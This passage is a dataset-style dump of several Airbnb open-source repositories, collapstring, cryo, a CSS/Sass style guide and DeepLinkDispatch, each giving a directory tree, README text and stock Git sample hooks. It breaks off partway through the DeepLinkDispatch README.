collapstring | {"type": "directory", "name": "collapstring", "children": [{"type": "file", "name": ".travis.yml"}, {"type": "file", "name": "collapstring.gemspec"}, {"type": "directory", "name": "ext", "children": [{"type": "directory", "name": "collapstring", "children": [{"type": "file", "name": "collapstring.c"}, {"type": "file", "name": "CollapstringService.java"}, {"type": "file", "name": "extconf.rb"}]}]}, {"type": "file", "name": "Gemfile"}, {"type": "file", "name": "LICENSE.txt"}, {"type": "file", "name": "Rakefile"}, {"type": "file", "name": "README.md"}, {"type": "directory", "name": "test", "children": [{"type": "directory", "name": "collapstring", "children": [{"type": "file", "name": "tests.rb"}]}]}]} | [![Build Status](https://travis-ci.org/airbnb/collapstring.png?branch=master)](https://travis-ci.org/airbnb/collapstring)
# Collapstring
Collapse quoted strings in strings. Supports MRI, Rubinius & JRuby.
## Why?
It's a simple, reliable and fast way to start making MySQL
requests shorter in a SQL logging pipeline.
## Installation
Add this line to your application's Gemfile:
gem 'collapstring'
And then execute:
$ bundle
Or install it yourself as:
$ gem install collapstring
## Usage
require 'collapstring'
Collapstring.collapse 'SELECT "hello \"world\"";'
Collapstring.collapse! 'SELECT "hello \"world\"";' # _could_ be in-place
## Contributing
1. Fork it
2. Create your feature branch (`git checkout -b my-new-feature`)
3. Commit your changes (`git commit -am 'Add some feature'`)
4. Push to the branch (`git push origin my-new-feature`)
5. Create new Pull Request
| {".git\\hooks\\applypatch-msg.sample": "#!/bin/sh\n#\n# An example hook script to check the commit log message taken by\n# applypatch from an e-mail message.\n#\n# The hook should exit with non-zero status after issuing an\n# appropriate message if it wants to stop the commit. The hook is\n# allowed to edit the commit message file.\n#\n# To enable this hook, rename this file to \"applypatch-msg\".\n\n. git-sh-setup\ncommitmsg=\"$(git rev-parse --git-path hooks/commit-msg)\"\ntest -x \"$commitmsg\" && exec \"$commitmsg\" ${1+\"$@\"}\n:\n", ".git\\hooks\\pre-applypatch.sample": "#!/bin/sh\n#\n# An example hook script to verify what is about to be committed\n# by applypatch from an e-mail message.\n#\n# The hook should exit with non-zero status after issuing an\n# appropriate message if it wants to stop the commit.\n#\n# To enable this hook, rename this file to \"pre-applypatch\".\n\n. git-sh-setup\nprecommit=\"$(git rev-parse --git-path hooks/pre-commit)\"\ntest -x \"$precommit\" && exec \"$precommit\" ${1+\"$@\"}\n:\n"} | null |
cryo | {"type": "directory", "name": "cryo", "children": [{"type": "directory", "name": "bin", "children": [{"type": "file", "name": "cryo"}]}, {"type": "file", "name": "cryo.gemspec"}, {"type": "directory", "name": "examples", "children": [{"type": "file", "name": "rds.sh"}]}, {"type": "file", "name": "Gemfile"}, {"type": "directory", "name": "lib", "children": [{"type": "directory", "name": "cryo", "children": [{"type": "directory", "name": "database", "children": [{"type": "file", "name": "filesystem.rb"}, {"type": "file", "name": "mysql.rb"}, {"type": "file", "name": "postgres.rb"}, {"type": "file", "name": "redis.rb"}, {"type": "file", "name": "zookeeper.rb"}]}, {"type": "file", "name": "database.rb"}, {"type": "directory", "name": "store", "children": [{"type": "file", "name": "s3.rb"}]}, {"type": "file", "name": "store.rb"}, {"type": "file", "name": "utils.rb"}, {"type": "file", "name": "version.rb"}]}, {"type": "file", "name": "cryo.rb"}]}, {"type": "file", "name": "LICENSE"}, {"type": "file", "name": "Makefile"}, {"type": "file", "name": "Rakefile"}, {"type": "file", "name": "README.md"}]} | # Cryo
TODO: Write a gem description
## Installation
Add this line to your application's Gemfile:
gem 'cryo'
And then execute:
$ bundle
Or install it yourself as:
$ gem install cryo
## Usage
TODO: Write usage instructions here
## Contributing
1. Fork it
2. Create your feature branch (`git checkout -b my-new-feature`)
3. Commit your changes (`git commit -am 'Added some feature'`)
4. Push to the branch (`git push origin my-new-feature`)
5. Create new Pull Request
| {".git\\hooks\\applypatch-msg.sample": "#!/bin/sh\n#\n# An example hook script to check the commit log message taken by\n# applypatch from an e-mail message.\n#\n# The hook should exit with non-zero status after issuing an\n# appropriate message if it wants to stop the commit. The hook is\n# allowed to edit the commit message file.\n#\n# To enable this hook, rename this file to \"applypatch-msg\".\n\n. git-sh-setup\ncommitmsg=\"$(git rev-parse --git-path hooks/commit-msg)\"\ntest -x \"$commitmsg\" && exec \"$commitmsg\" ${1+\"$@\"}\n:\n", ".git\\hooks\\pre-applypatch.sample": "#!/bin/sh\n#\n# An example hook script to verify what is about to be committed\n# by applypatch from an e-mail message.\n#\n# The hook should exit with non-zero status after issuing an\n# appropriate message if it wants to stop the commit.\n#\n# To enable this hook, rename this file to \"pre-applypatch\".\n\n. git-sh-setup\nprecommit=\"$(git rev-parse --git-path hooks/pre-commit)\"\ntest -x \"$precommit\" && exec \"$precommit\" ${1+\"$@\"}\n:\n"} | null |
css | {"type": "directory", "name": "css", "children": [{"type": "file", "name": ".scss-lint.yml"}, {"type": "file", "name": "LICENSE.md"}, {"type": "file", "name": "README.md"}]} | | :exclamation: Deprecation Notice |
|:-|
|We want to express our sincere gratitude for your support and contributions to this open source project. As we are no longer using this technology internally, we have come to the decision to archive this repository. While we won't be providing further updates or support, the existing code and resources will remain accessible for your reference. We encourage anyone interested to fork the repository and continue the project's legacy independently. Thank you for being a part of this journey and for your patience and understanding.|
# Airbnb CSS / Sass Styleguide
*A mostly reasonable approach to CSS and Sass*
## Table of Contents
1. [Terminology](#terminology)
- [Rule Declaration](#rule-declaration)
- [Selectors](#selectors)
- [Properties](#properties)
1. [CSS](#css)
- [Formatting](#formatting)
- [Comments](#comments)
- [OOCSS and BEM](#oocss-and-bem)
- [ID Selectors](#id-selectors)
- [JavaScript hooks](#javascript-hooks)
- [Border](#border)
1. [Sass](#sass)
- [Syntax](#syntax)
- [Ordering](#ordering-of-property-declarations)
- [Variables](#variables)
- [Mixins](#mixins)
- [Extend directive](#extend-directive)
- [Nested selectors](#nested-selectors)
1. [Translation](#translation)
1. [License](#license)
## Terminology
### Rule declaration
A “rule declaration” is the name given to a selector (or a group of selectors) with an accompanying group of properties. Here's an example:
```css
.listing {
font-size: 18px;
line-height: 1.2;
}
```
### Selectors
In a rule declaration, “selectors” are the bits that determine which elements in the DOM tree will be styled by the defined properties. Selectors can match HTML elements, as well as an element's class, ID, or any of its attributes. Here are some examples of selectors:
```css
.my-element-class {
/* ... */
}
[aria-hidden] {
/* ... */
}
```
### Properties
Finally, properties are what give the selected elements of a rule declaration their style. Properties are key-value pairs, and a rule declaration can contain one or more property declarations. Property declarations look like this:
```css
/* some selector */ {
background: #f1f1f1;
color: #333;
}
```
**[⬆ back to top](#table-of-contents)**
## CSS
### Formatting
* Use soft tabs (2 spaces) for indentation.
* Prefer dashes over camelCasing in class names.
- Underscores and PascalCasing are okay if you are using BEM (see [OOCSS and BEM](#oocss-and-bem) below).
* Do not use ID selectors.
* When using multiple selectors in a rule declaration, give each selector its own line.
* Put a space before the opening brace `{` in rule declarations.
* In properties, put a space after, but not before, the `:` character.
* Put closing braces `}` of rule declarations on a new line.
* Put blank lines between rule declarations.
**Bad**
```css
.avatar{
border-radius:50%;
border:2px solid white; }
.no, .nope, .not_good {
// ...
}
#lol-no {
// ...
}
```
**Good**
```css
.avatar {
border-radius: 50%;
border: 2px solid white;
}
.one,
.selector,
.per-line {
// ...
}
```
### Comments
* Prefer line comments (`//` in Sass-land) to block comments.
* Prefer comments on their own line. Avoid end-of-line comments.
* Write detailed comments for code that isn't self-documenting:
- Uses of z-index
- Compatibility or browser-specific hacks
### OOCSS and BEM
We encourage some combination of OOCSS and BEM for these reasons:
* It helps create clear, strict relationships between CSS and HTML
* It helps us create reusable, composable components
* It allows for less nesting and lower specificity
* It helps in building scalable stylesheets
**OOCSS**, or “Object Oriented CSS”, is an approach for writing CSS that encourages you to think about your stylesheets as a collection of “objects”: reusable, repeatable snippets that can be used independently throughout a website.
* Nicole Sullivan's [OOCSS wiki](https://github.com/stubbornella/oocss/wiki)
* Smashing Magazine's [Introduction to OOCSS](http://www.smashingmagazine.com/2011/12/12/an-introduction-to-object-oriented-css-oocss/)
**BEM**, or “Block-Element-Modifier”, is a _naming convention_ for classes in HTML and CSS. It was originally developed by Yandex with large codebases and scalability in mind, and can serve as a solid set of guidelines for implementing OOCSS.
* CSS Trick's [BEM 101](https://css-tricks.com/bem-101/)
* Harry Roberts' [introduction to BEM](http://csswizardry.com/2013/01/mindbemding-getting-your-head-round-bem-syntax/)
We recommend a variant of BEM with PascalCased “blocks”, which works particularly well when combined with components (e.g. React). Underscores and dashes are still used for modifiers and children.
**Example**
```jsx
// ListingCard.jsx
function ListingCard() {
return (
<article class="ListingCard ListingCard--featured">
<h1 class="ListingCard__title">Adorable 2BR in the sunny Mission</h1>
<div class="ListingCard__content">
<p>Vestibulum id ligula porta felis euismod semper.</p>
</div>
</article>
);
}
```
```css
/* ListingCard.css */
.ListingCard { }
.ListingCard--featured { }
.ListingCard__title { }
.ListingCard__content { }
```
* `.ListingCard` is the “block” and represents the higher-level component
* `.ListingCard__title` is an “element” and represents a descendant of `.ListingCard` that helps compose the block as a whole.
* `.ListingCard--featured` is a “modifier” and represents a different state or variation on the `.ListingCard` block.
### ID selectors
While it is possible to select elements by ID in CSS, it should generally be considered an anti-pattern. ID selectors introduce an unnecessarily high level of [specificity](https://developer.mozilla.org/en-US/docs/Web/CSS/Specificity) to your rule declarations, and they are not reusable.
For more on this subject, read [CSS Wizardry's article](http://csswizardry.com/2014/07/hacks-for-dealing-with-specificity/) on dealing with specificity.
### JavaScript hooks
Avoid binding to the same class in both your CSS and JavaScript. Conflating the two often leads to, at a minimum, time wasted during refactoring when a developer must cross-reference each class they are changing, and at its worst, developers being afraid to make changes for fear of breaking functionality.
We recommend creating JavaScript-specific classes to bind to, prefixed with `.js-`:
```html
<button class="btn btn-primary js-request-to-book">Request to Book</button>
```
### Border
Use `0` instead of `none` to specify that a style has no border.
**Bad**
```css
.foo {
border: none;
}
```
**Good**
```css
.foo {
border: 0;
}
```
**[⬆ back to top](#table-of-contents)**
## Sass
### Syntax
* Use the `.scss` syntax, never the original `.sass` syntax
* Order your regular CSS and `@include` declarations logically (see below)
### Ordering of property declarations
1. Property declarations
List all standard property declarations, anything that isn't an `@include` or a nested selector.
```scss
.btn-green {
background: green;
font-weight: bold;
// ...
}
```
2. `@include` declarations
Grouping `@include`s at the end makes it easier to read the entire selector.
```scss
.btn-green {
background: green;
font-weight: bold;
@include transition(background 0.5s ease);
// ...
}
```
3. Nested selectors
Nested selectors, _if necessary_, go last, and nothing goes after them. Add whitespace between your rule declarations and nested selectors, as well as between adjacent nested selectors. Apply the same guidelines as above to your nested selectors.
```scss
.btn {
background: green;
font-weight: bold;
@include transition(background 0.5s ease);
.icon {
margin-right: 10px;
}
}
```
### Variables
Prefer dash-cased variable names (e.g. `$my-variable`) over camelCased or snake_cased variable names. It is acceptable to prefix variable names that are intended to be used only within the same file with an underscore (e.g. `$_my-variable`).
### Mixins
Mixins should be used to DRY up your code, add clarity, or abstract complexity--in much the same way as well-named functions. Mixins that accept no arguments can be useful for this, but note that if you are not compressing your payload (e.g. gzip), this may contribute to unnecessary code duplication in the resulting styles.
### Extend directive
`@extend` should be avoided because it has unintuitive and potentially dangerous behavior, especially when used with nested selectors. Even extending top-level placeholder selectors can cause problems if the order of selectors ends up changing later (e.g. if they are in other files and the order the files are loaded shifts). Gzipping should handle most of the savings you would have gained by using `@extend`, and you can DRY up your stylesheets nicely with mixins.
### Nested selectors
**Do not nest selectors more than three levels deep!**
```scss
.page-container {
.content {
.profile {
// STOP!
}
}
}
```
When selectors become this long, you're likely writing CSS that is:
* Strongly coupled to the HTML (fragile) *—OR—*
* Overly specific (powerful) *—OR—*
* Not reusable
Again: **never nest ID selectors!**
If you must use an ID selector in the first place (and you should really try not to), they should never be nested. If you find yourself doing this, you need to revisit your markup, or figure out why such strong specificity is needed. If you are writing well formed HTML and CSS, you should **never** need to do this.
**[⬆ back to top](#table-of-contents)**
## Translation
This style guide is also available in other languages:
- ![id](https://raw.githubusercontent.com/gosquared/flags/master/flags/flags/shiny/24/Indonesia.png) **Bahasa Indonesia**: [mazipan/css-style-guide](https://github.com/mazipan/css-style-guide)
- ![tw](https://raw.githubusercontent.com/gosquared/flags/master/flags/flags/shiny/24/Taiwan.png) **Chinese (Traditional)**: [ArvinH/css-style-guide](https://github.com/ArvinH/css-style-guide)
- ![cn](https://raw.githubusercontent.com/gosquared/flags/master/flags/flags/shiny/24/China.png) **Chinese (Simplified)**: [Zhangjd/css-style-guide](https://github.com/Zhangjd/css-style-guide)
- ![fr](https://raw.githubusercontent.com/gosquared/flags/master/flags/flags/shiny/24/France.png) **French**: [mat-u/css-style-guide](https://github.com/mat-u/css-style-guide)
- ![ka](https://raw.githubusercontent.com/gosquared/flags/master/flags/flags/shiny/24/Georgia.png) **Georgian**: [DavidKadaria/css-style-guide](https://github.com/davidkadaria/css-style-guide)
- ![ja](https://raw.githubusercontent.com/gosquared/flags/master/flags/flags/shiny/24/Japan.png) **Japanese**: [nao215/css-style-guide](https://github.com/nao215/css-style-guide)
- ![ko](https://raw.githubusercontent.com/gosquared/flags/master/flags/flags/shiny/24/South-Korea.png) **Korean**: [CodeMakeBros/css-style-guide](https://github.com/CodeMakeBros/css-style-guide)
- ![PT-BR](https://raw.githubusercontent.com/gosquared/flags/master/flags/flags/shiny/24/Brazil.png) **Portuguese (Brazil)**: [felipevolpatto/css-style-guide](https://github.com/felipevolpatto/css-style-guide)
- ![pt-PT](https://raw.githubusercontent.com/gosquared/flags/master/flags/flags/shiny/24/Portugal.png) **Portuguese (Portugal)**: [SandroMiguel/airbnb-css-style-guide](https://github.com/SandroMiguel/airbnb-css-style-guide)
- ![ru](https://raw.githubusercontent.com/gosquared/flags/master/flags/flags/shiny/24/Russia.png) **Russian**: [rtplv/airbnb-css-ru](https://github.com/rtplv/airbnb-css-ru)
- ![es](https://raw.githubusercontent.com/gosquared/flags/master/flags/flags/shiny/24/Spain.png) **Spanish**: [ismamz/guia-de-estilo-css](https://github.com/ismamz/guia-de-estilo-css)
- ![vn](https://raw.githubusercontent.com/gosquared/flags/master/flags/flags/shiny/24/Vietnam.png) **Vietnamese**: [trungk18/css-style-guide](https://github.com/trungk18/css-style-guide)
- ![vn](https://raw.githubusercontent.com/gosquared/flags/master/flags/flags/shiny/24/Italy.png) **Italian**: [antoniofull/linee-guida-css](https://github.com/antoniofull/linee-guida-css)
- ![de](https://raw.githubusercontent.com/gosquared/flags/master/flags/flags/shiny/24/Germany.png) **German**: [tderflinger/css-styleguide](https://github.com/tderflinger/css-styleguide)
**[⬆ back to top](#table-of-contents)**
## License
(The MIT License)
Copyright (c) 2015 Airbnb
Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the 'Software'), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED 'AS IS', WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
**[⬆ back to top](#table-of-contents)**
| {".git\\hooks\\applypatch-msg.sample": "#!/bin/sh\n#\n# An example hook script to check the commit log message taken by\n# applypatch from an e-mail message.\n#\n# The hook should exit with non-zero status after issuing an\n# appropriate message if it wants to stop the commit. The hook is\n# allowed to edit the commit message file.\n#\n# To enable this hook, rename this file to \"applypatch-msg\".\n\n. git-sh-setup\ncommitmsg=\"$(git rev-parse --git-path hooks/commit-msg)\"\ntest -x \"$commitmsg\" && exec \"$commitmsg\" ${1+\"$@\"}\n:\n", ".git\\hooks\\pre-applypatch.sample": "#!/bin/sh\n#\n# An example hook script to verify what is about to be committed\n# by applypatch from an e-mail message.\n#\n# The hook should exit with non-zero status after issuing an\n# appropriate message if it wants to stop the commit.\n#\n# To enable this hook, rename this file to \"pre-applypatch\".\n\n. git-sh-setup\nprecommit=\"$(git rev-parse --git-path hooks/pre-commit)\"\ntest -x \"$precommit\" && exec \"$precommit\" ${1+\"$@\"}\n:\n"} | null |
DeepLinkDispatch | {"type": "directory", "name": "DeepLinkDispatch", "children": [{"type": "file", "name": "build.gradle"}, {"type": "file", "name": "CHANGELOG.md"}, {"type": "file", "name": "checkstyle.xml"}, {"type": "file", "name": "CONTRIBUTING.md"}, {"type": "directory", "name": "deeplinkdispatch", "children": [{"type": "file", "name": "build.gradle"}, {"type": "file", "name": "gradle.properties"}, {"type": "file", "name": "proguard-rules.pro"}, {"type": "directory", "name": "src", "children": [{"type": "directory", "name": "main", "children": [{"type": "file", "name": "AndroidManifest.xml"}, {"type": "directory", "name": "java", "children": [{"type": "directory", "name": "com", "children": [{"type": "directory", "name": "airbnb", "children": [{"type": "directory", "name": "deeplinkdispatch", "children": [{"type": "file", "name": "BaseDeepLinkDelegate.kt"}, {"type": "file", "name": "DeepLinkDispatch.kt"}, {"type": "file", "name": "DeepLinkResult.kt"}, {"type": "directory", "name": "handler", "children": [{"type": "file", "name": "DeepLinkHandler.kt"}]}, {"type": "file", "name": "Utils.kt"}]}]}]}]}]}, {"type": "directory", "name": "test", "children": [{"type": "directory", "name": "java", "children": [{"type": "directory", "name": "com", "children": [{"type": "directory", "name": "airbnb", "children": [{"type": "directory", "name": "deeplinkdispatch", "children": [{"type": "file", "name": "BaseDeepLinkDelegateTest.kt"}, {"type": "file", "name": "DeepLinkEntryTest.kt"}, {"type": "file", "name": "TestRegistry.kt"}]}]}]}]}]}]}]}, {"type": "directory", "name": "deeplinkdispatch-base", "children": [{"type": "file", "name": "build.gradle"}, {"type": "file", "name": "gradle.properties"}, {"type": "directory", "name": "src", "children": [{"type": "directory", "name": "main", "children": [{"type": "directory", "name": "java", "children": [{"type": "directory", "name": "com", "children": [{"type": "directory", "name": "airbnb", "children": [{"type": "directory", "name": "deeplinkdispatch", "children": [{"type": "directory", "name": "base", "children": [{"type": "file", "name": "CompareResult.kt"}, {"type": "file", "name": "MatchIndex.java"}, {"type": "file", "name": "Utils.kt"}]}, {"type": "file", "name": "BaseRegistry.kt"}, {"type": "file", "name": "DeepLink.java"}, {"type": "file", "name": "DeepLinkEntry.kt"}, {"type": "file", "name": "DeepLinkHandler.java"}, {"type": "file", "name": "DeepLinkModule.java"}, {"type": "file", "name": "DeepLinkSpec.java"}, {"type": "file", "name": "DeepLinkUri.java"}, {"type": "file", "name": "ErrorHandler.kt"}, {"type": "directory", "name": "handler", "children": [{"type": "file", "name": "Annotations.kt"}, {"type": "file", "name": "TypeConverter.kt"}]}, {"type": "file", "name": "NodeMetadata.kt"}, {"type": "file", "name": "SchemeHostAndPath.kt"}, {"type": "file", "name": "Test.java"}, {"type": "file", "name": "UrlTree.kt"}]}]}]}]}]}, {"type": "directory", "name": "test", "children": [{"type": "directory", "name": "java", "children": [{"type": "directory", "name": "com", "children": [{"type": "directory", "name": "airbnb", "children": [{"type": "directory", "name": "deeplinkdispatch", "children": [{"type": "file", "name": "CharSequenceUtf8Test.kt"}, {"type": "file", "name": "DeepLinkMatchResultTests.kt"}, {"type": "file", "name": "DeepLinkMatchTests.kt"}, {"type": "file", "name": "DeeplinkUriTest.kt"}, {"type": "file", "name": "MatchIndexTests.kt"}, {"type": "file", "name": "TestRegistry.kt"}, {"type": "file", "name": "TypeConverterTests.kt"}, {"type": "file", "name": "UrlTreeTests.kt"}]}]}]}]}]}]}]}, {"type": "directory", "name": "deeplinkdispatch-processor", "children": [{"type": "file", "name": "build.gradle"}, {"type": "directory", "name": "doc", "children": [{"type": "file", "name": "deeplinks.txt"}]}, {"type": "file", "name": "gradle.properties"}, {"type": "directory", "name": "libs", "children": []}, {"type": "directory", "name": "src", "children": [{"type": "directory", "name": "main", "children": [{"type": "directory", "name": "java", "children": [{"type": "directory", "name": "com", "children": [{"type": "directory", "name": "airbnb", "children": [{"type": "directory", "name": "deeplinkdispatch", "children": [{"type": "file", "name": "BaseProcessor.kt"}, {"type": "file", "name": "DeepLinkAnnotatedElement.kt"}, {"type": "file", "name": "DeepLinkProcessor.kt"}, {"type": "file", "name": "DeepLinkProcessorException.kt"}, {"type": "file", "name": "DeepLinkProcessorProvider.kt"}, {"type": "file", "name": "Documentor.kt"}, {"type": "file", "name": "GenericWriter.kt"}, {"type": "file", "name": "MarkdownWriter.kt"}, {"type": "file", "name": "ProcessorUtils.kt"}]}]}]}]}, {"type": "directory", "name": "resources", "children": [{"type": "directory", "name": "META-INF", "children": [{"type": "directory", "name": "gradle", "children": [{"type": "file", "name": "incremental.annotation.processors"}]}, {"type": "directory", "name": "services", "children": [{"type": "file", "name": "com.google.devtools.ksp.processing.SymbolProcessorProvider"}, {"type": "file", "name": "javax.annotation.processing.Processor"}]}]}]}]}, {"type": "directory", "name": "test", "children": [{"type": "directory", "name": "java", "children": [{"type": "directory", "name": "com", "children": [{"type": "directory", "name": "airbnb", "children": [{"type": "directory", "name": "deeplinkdispatch", "children": [{"type": "file", "name": "BaseDeepLinkProcessorTest.kt"}, {"type": "file", "name": "DeepLinkAnnotatedElementTest.kt"}, {"type": "file", "name": "DeepLinkProcessorDeepLinkHandlerIncrementalTest.kt"}, {"type": "file", "name": "DeepLinkProcessorIncrementalTest.kt"}, {"type": "file", "name": "DeepLinkProcessorKspTest.kt"}, {"type": "file", "name": "DeepLinkProcessorNonIncrementalTest.kt"}, {"type": "file", "name": "DocumentorTest.kt"}, {"type": "file", "name": "ProcessorUtilsTest.kt"}, {"type": "directory", "name": "test", "children": [{"type": "file", "name": "Source.kt"}]}]}]}]}]}, {"type": "directory", "name": "resources", "children": [{"type": "file", "name": "DeepLinkActivity.java"}, {"type": "file", "name": "DeepLinkActivityUppercase.java"}, {"type": "file", "name": "DeepLinkDelegate.java"}]}]}]}]}, {"type": "file", "name": "dependencies.gradle"}, {"type": "directory", "name": "gradle", "children": [{"type": "directory", "name": "wrapper", "children": [{"type": "file", "name": "gradle-wrapper.properties"}]}]}, {"type": "file", "name": "gradle.properties"}, {"type": "file", "name": "gradlew"}, {"type": "file", "name": "gradlew.bat"}, {"type": "directory", "name": "images", "children": []}, {"type": "file", "name": "publishing.gradle"}, {"type": "file", "name": "README.md"}, {"type": "file", "name": "RELEASING.md"}, {"type": "directory", "name": "sample", "children": [{"type": "file", "name": "build.gradle"}, {"type": "file", "name": "proguard-rules.pro"}, {"type": "directory", "name": "src", "children": [{"type": "directory", "name": "main", "children": [{"type": "file", "name": "AndroidManifest.xml"}, {"type": "directory", "name": "java", "children": [{"type": "directory", "name": "com", "children": [{"type": "directory", "name": "airbnb", "children": [{"type": "directory", "name": "deeplinkdispatch", "children": [{"type": "directory", "name": "sample", "children": [{"type": "file", "name": "AppDeepLink.java"}, {"type": "file", "name": "CustomPrefixesActivity.java"}, {"type": "file", "name": "DeepLinkActivity.java"}, {"type": "file", "name": "DeepLinkReceiver.java"}, {"type": "directory", "name": "handler", "children": [{"type": "file", "name": "SampleJavaDeeplinkHandler.java"}, {"type": "file", "name": "SampleJavaStaticTestHelper.java"}, {"type": "file", "name": "SampleKotlinDeeplinkHandler.kt"}, {"type": "file", "name": "TestJavaDeepLinkHandlerDeepLinkArgs.java"}]}, {"type": "file", "name": "MainActivity.kt"}, {"type": "file", "name": "SampleApplication.java"}, {"type": "file", "name": "SampleModule.kt"}, {"type": "file", "name": "SecondActivity.java"}, {"type": "directory", "name": "typeconversion", "children": [{"type": "file", "name": "ComparableColorDrawable.java"}, {"type": "file", "name": "TypeConversionDeepLinkHandler.kt"}, {"type": "file", "name": "TypeConversionErrorHandlerCustomTypeDeepLinkActivity.java"}]}, {"type": "file", "name": "WebDeepLink.java"}, {"type": "file", "name": "WebPlaceholderDeepLink.java"}]}]}]}]}]}, {"type": "directory", "name": "res", "children": [{"type": "directory", "name": "layout", "children": [{"type": "file", "name": "sample_activity_main.xml"}]}, {"type": "directory", "name": "mipmap-hdpi", "children": []}, {"type": "directory", "name": "mipmap-mdpi", "children": []}, {"type": "directory", "name": "mipmap-xhdpi", "children": []}, {"type": "directory", "name": "mipmap-xxhdpi", "children": []}, {"type": "directory", "name": "values", "children": [{"type": "file", "name": "dimens.xml"}, {"type": "file", "name": "strings.xml"}, {"type": "file", "name": "styles.xml"}]}, {"type": "directory", "name": "values-w820dp", "children": [{"type": "file", "name": "dimens.xml"}]}]}]}, {"type": "directory", "name": "test", "children": [{"type": "directory", "name": "java", "children": [{"type": "directory", "name": "com", "children": [{"type": "directory", "name": "airbnb", "children": [{"type": "directory", "name": "deeplinkdispatch", "children": [{"type": "directory", "name": "sample", "children": [{"type": "file", "name": "AppDeepLinkDelegateTest.kt"}, {"type": "file", "name": "ConfigurablePathSegmentTest.kt"}, {"type": "file", "name": "CustomPrefixesActivityTest.java"}, {"type": "file", "name": "DeepLinkHandlerTest.kt"}, {"type": "file", "name": "DeepLinkHandlerTypeConversionTest.kt"}, {"type": "file", "name": "MainActivityTest.java"}, {"type": "file", "name": "SecondActivityTest.java"}, {"type": "file", "name": "ShadowTaskStackBuilder.java"}, {"type": "file", "name": "TestUtils.kt"}]}]}]}]}]}]}]}]}, {"type": "directory", "name": "sample-benchmark", "children": [{"type": "file", "name": "benchmark-proguard-rules.pro"}, {"type": "file", "name": "build.gradle"}, {"type": "directory", "name": "src", "children": [{"type": "directory", "name": "androidTest", "children": [{"type": "file", "name": "AndroidManifest.xml"}, {"type": "directory", "name": "java", "children": [{"type": "directory", "name": "com", "children": [{"type": "directory", "name": "airbnb", "children": [{"type": "directory", "name": "deeplinkdispatch", "children": [{"type": "directory", "name": "sample", "children": [{"type": "directory", "name": "benchmark", "children": [{"type": "file", "name": "DeeplinkBenchmarks.kt"}]}]}]}]}]}]}]}, {"type": "directory", "name": "main", "children": [{"type": "file", "name": "AndroidManifest.xml"}, {"type": "directory", "name": "res", "children": [{"type": "directory", "name": "values", "children": [{"type": "file", "name": "strings.xml"}]}]}]}]}]}, {"type": "directory", "name": "sample-benchmarkable-library", "children": [{"type": "file", "name": "build.gradle"}, {"type": "directory", "name": "src", "children": [{"type": "directory", "name": "main", "children": [{"type": "file", "name": "AndroidManifest.xml"}, {"type": "directory", "name": "assets", "children": []}, {"type": "directory", "name": "java", "children": [{"type": "directory", "name": "com", "children": [{"type": "directory", "name": "airbnb", "children": [{"type": "directory", "name": "deeplinkdispatch", "children": [{"type": "directory", "name": "sample", "children": [{"type": "directory", "name": "benchmarkable", "children": [{"type": "file", "name": "BenchmarkDeepLinkModule.java"}, {"type": "file", "name": "ScaleTestActivity.java"}]}]}]}]}]}]}, {"type": "directory", "name": "res", "children": [{"type": "directory", "name": "layout", "children": [{"type": "file", "name": "scale_activity_main.xml"}]}, {"type": "directory", "name": "values", "children": [{"type": "file", "name": "strings.xml"}]}]}]}]}]}, {"type": "directory", "name": "sample-kapt-library", "children": [{"type": "file", "name": "build.gradle"}, {"type": "directory", "name": "src", "children": [{"type": "directory", "name": "main", "children": [{"type": "file", "name": "AndroidManifest.xml"}, {"type": "directory", "name": "java", "children": [{"type": "directory", "name": "com", "children": [{"type": "directory", "name": "airbnb", "children": [{"type": "directory", "name": "deeplinkdispatch", "children": [{"type": "directory", "name": "sample", "children": [{"type": "directory", "name": "kaptlibrary", "children": [{"type": "file", "name": "KaptLibraryActivity.kt"}, {"type": "file", "name": "KaptLibraryDeepLinkModule.kt"}]}]}]}]}]}]}, {"type": "directory", "name": "res", "children": [{"type": "directory", "name": "values", "children": [{"type": "file", "name": "strings.xml"}]}]}]}]}]}, {"type": "directory", "name": "sample-library", "children": [{"type": "file", "name": "build.gradle"}, {"type": "directory", "name": "src", "children": [{"type": "directory", "name": "main", "children": [{"type": "file", "name": "AndroidManifest.xml"}, {"type": "directory", "name": "java", "children": [{"type": "directory", "name": "com", "children": [{"type": "directory", "name": "airbnb", "children": [{"type": "directory", "name": "deeplinkdispatch", "children": [{"type": "directory", "name": "sample", "children": [{"type": "directory", "name": "library", "children": [{"type": "file", "name": "LibraryActivity.java"}, {"type": "file", "name": "LibraryDeepLink.java"}, {"type": "file", "name": "LibraryDeepLinkModule.java"}]}]}]}]}]}]}, {"type": "directory", "name": "res", "children": [{"type": "directory", "name": "values", "children": [{"type": "file", "name": "strings.xml"}]}]}]}]}]}, {"type": "file", "name": "settings.gradle"}, {"type": "file", "name": "UPGRADING.md"}]} | # DeepLinkDispatch
[![Build Status](https://travis-ci.org/airbnb/DeepLinkDispatch.svg)](https://travis-ci.org/airbnb/DeepLinkDispatch)
DeepLinkDispatch provides a declarative, annotation-based API to define application deep links.
You can register an `Activity` to handle specific deep links by annotating it with `@DeepLink` and a URI.
DeepLinkDispatch will parse the URI and dispatch the deep link to the appropriate `Activity`, along
with any parameters specified in the URI.
### Example
Here's an example where we register `SampleActivity` to pull out an ID from a deep link like
`example://example.com/deepLink/123`. We annotated with `@DeepLink` and specify there will be a
parameter that we'll identify with `id`.
```java
@DeepLink("example://example.com/deepLink/{id}")
public class SampleActivity extends Activity {
@Override protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
Intent intent = getIntent();
if (intent.getBooleanExtra(DeepLink.IS_DEEP_LINK, false)) {
Bundle parameters = intent.getExtras();
String idString = parameters.getString("id");
// Do something with idString
}
}
}
```
### Multiple Deep Links
Sometimes you'll have an Activity that handles several kinds of deep links:
```java
